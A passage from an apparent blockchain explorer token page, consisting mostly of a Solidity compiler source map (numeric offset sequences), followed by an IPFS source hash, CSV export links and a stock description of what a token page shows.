:12;1532:52;1619:9;1606:23;1638:31;1663:5;1638:31;:::i;:::-;1688:5;1452:247;-1:-1:-1;;;1452:247:1:o;2120:180::-;2179:6;2232:2;2220:9;2211:7;2207:23;2203:32;2200:52;;;2248:1;2245;2238:12;2200:52;-1:-1:-1;2271:23:1;;2120:180;-1:-1:-1;2120:180:1:o;2305:456::-;2382:6;2390;2398;2451:2;2439:9;2430:7;2426:23;2422:32;2419:52;;;2467:1;2464;2457:12;2419:52;2506:9;2493:23;2525:31;2550:5;2525:31;:::i;:::-;2575:5;-1:-1:-1;2632:2:1;2617:18;;2604:32;2645:33;2604:32;2645:33;:::i;:::-;2305:456;;2697:7;;-1:-1:-1;;;2751:2:1;2736:18;;;;2723:32;;2305:456::o;3163:416::-;3228:6;3236;3289:2;3277:9;3268:7;3264:23;3260:32;3257:52;;;3305:1;3302;3295:12;3257:52;3344:9;3331:23;3363:31;3388:5;3363:31;:::i;:::-;3413:5;-1:-1:-1;3470:2:1;3455:18;;3442:32;3512:15;;3505:23;3493:36;;3483:64;;3543:1;3540;3533:12;3483:64;3566:7;3556:17;;;3163:416;;;;;:::o;3584:316::-;3661:6;3669;3677;3730:2;3718:9;3709:7;3705:23;3701:32;3698:52;;;3746:1;3743;3736:12;3698:52;-1:-1:-1;;3769:23:1;;;3839:2;3824:18;;3811:32;;-1:-1:-1;3890:2:1;3875:18;;;3862:32;;3584:316;-1:-1:-1;3584:316:1:o;3905:127::-;3966:10;3961:3;3957:20;3954:1;3947:31;3997:4;3994:1;3987:15;4021:4;4018:1;4011:15;4037:1121;4121:6;4152:2;4195;4183:9;4174:7;4170:23;4166:32;4163:52;;;4211:1;4208;4201:12;4163:52;4238:23;;-1:-1:-1;;;;;4310:14:1;;;4307:34;;;4337:1;4334;4327:12;4307:34;4375:6;4364:9;4360:22;4350:32;;4420:7;4413:4;4409:2;4405:13;4401:27;4391:55;;4442:1;4439;4432:12;4391:55;4478:2;4465:16;4500:2;4496;4493:10;4490:36;;;4506:18;;:::i;:::-;4552:2;4549:1;4545:10;4584:2;4578:9;4647:2;4643:7;4638:2;4634;4630:11;4626:25;4618:6;4614:38;4702:6;4690:10;4687:22;4682:2;4670:10;4667:18;4664:46;4661:72;;;4713:18;;:::i;:::-;4749:2;4742:22;4799:18;;;4833:15;;;;-1:-1:-1;4875:11:1;;;4871:20;;;4903:19;;;4900:39;;;4935:1;4932;4925:12;4900:39;4959:11;;;;4979:148;4995:6;4990:3;4987:15;4979:148;;;5061:23;5080:3;5061:23;:::i;:::-;5049:36;;5012:12;;;;5105;;;;4979:148;;;5146:6;4037:1121;-1:-1:-1;;;;;;;;4037:1121:1:o;5163:388::-;5231:6;5239;5292:2;5280:9;5271:7;5267:23;5263:32;5260:52;;;5308:1;5305;5298:12;5260:52;5347:9;5334:23;5366:31;5391:5;5366:31;:::i;:::-;5416:5;-1:-1:-1;5473:2:1;5458:18;;5445:32;5486:33;5445:32;5486:33;:::i;5556:380::-;5635:1;5631:12;;;;5678;;;5699:61;;5753:4;5745:6;5741:17;5731:27;;5699:61;5806:2;5798:6;5795:14;5775:18;5772:38;5769:161;;;5852:10;5847:3;5843:20;5840:1;5833:31;5887:4;5884:1;5877:15;5915:4;5912:1;5905:15;5769:161;;5556:380;;;:::o;5941:127::-;6002:10;5997:3;5993:20;5990:1;5983:31;6033:4;6030:1;6023:15;6057:4;6054:1;6047:15;6073:127;6134:10;6129:3;6125:20;6122:1;6115:31;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6205:120;6245:1;6271;6261:35;;6276:18;;:::i;:::-;-1:-1:-1;6310:9:1;;6205:120::o;7155:356::-;7357:2;7339:21;;;7376:18;;;7369:30;7435:34;7430:2;7415:18;;7408:62;7502:2;7487:18;;7155:356::o;7516:128::-;7556:3;7587:1;7583:6;7580:1;7577:13;7574:39;;;7593:18;;:::i;:::-;-1:-1:-1;7629:9:1;;7516:128::o;9518:127::-;9579:10;9574:3;9570:20;9567:1;9560:31;9610:4;9607:1;9600:15;9634:4;9631:1;9624:15;9650:135;9689:3;-1:-1:-1;;9710:17:1;;9707:43;;;9730:18;;:::i;:::-;-1:-1:-1;9777:1:1;9766:13;;9650:135::o;10148:168::-;10188:7;10254:1;10250;10246:6;10242:14;10239:1;10236:21;10231:1;10224:9;10217:17;10213:45;10210:71;;;10261:18;;:::i;:::-;-1:-1:-1;10301:9:1;;10148:168::o;12379:401::-;12581:2;12563:21;;;12620:2;12600:18;;;12593:30;12659:34;12654:2;12639:18;;12632:62;-1:-1:-1;;;12725:2:1;12710:18;;12703:35;12770:3;12755:19;;12379:401::o;12785:399::-;12987:2;12969:21;;;13026:2;13006:18;;;12999:30;13065:34;13060:2;13045:18;;13038:62;-1:-1:-1;;;13131:2:1;13116:18;;13109:33;13174:3;13159:19;;12785:399::o;14385:274::-;14514:3;14552:6;14546:13;14568:53;14614:6;14609:3;14602:4;14594:6;14590:17;14568:53;:::i;:::-;14637:16;;;;;14385:274;-1:-1:-1;;14385:274:1:o;15009:112::-;15041:1;15067;15057:35;;15072:18;;:::i;:::-;-1:-1:-1;15106:9:1;;15009:112::o;15531:125::-;15571:4;15599:1;15596;15593:8;15590:34;;;15604:18;;:::i;:::-;-1:-1:-1;15641:9:1;;15531:125::o;16068:251::-;16138:6;16191:2;16179:9;16170:7;16166:23;16162:32;16159:52;;;16207:1;16204;16197:12;16159:52;16239:9;16233:16;16258:31;16283:5;16258:31;:::i;16324:980::-;16586:4;16634:3;16623:9;16619:19;16665:6;16654:9;16647:25;16691:2;16729:6;16724:2;16713:9;16709:18;16702:34;16772:3;16767:2;16756:9;16752:18;16745:31;16796:6;16831;16825:13;16862:6;16854;16847:22;16900:3;16889:9;16885:19;16878:26;;16939:2;16931:6;16927:15;16913:29;;16960:1;16970:195;16984:6;16981:1;16978:13;16970:195;;;17049:13;;-1:-1:-1;;;;;17045:39:1;17033:52;;17140:15;;;;17105:12;;;;17081:1;16999:9;16970:195;;;-1:-1:-1;;;;;;;17221:32:1;;;;17216:2;17201:18;;17194:60;-1:-1:-1;;;17285:3:1;17270:19;17263:35;17182:3;16324:980;-1:-1:-1;;;16324:980:1:o

Swarm Source

ipfs://a480f66434725d663ef34a0f582f0affadfa69adf801503ce2ec08ceea340dec
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.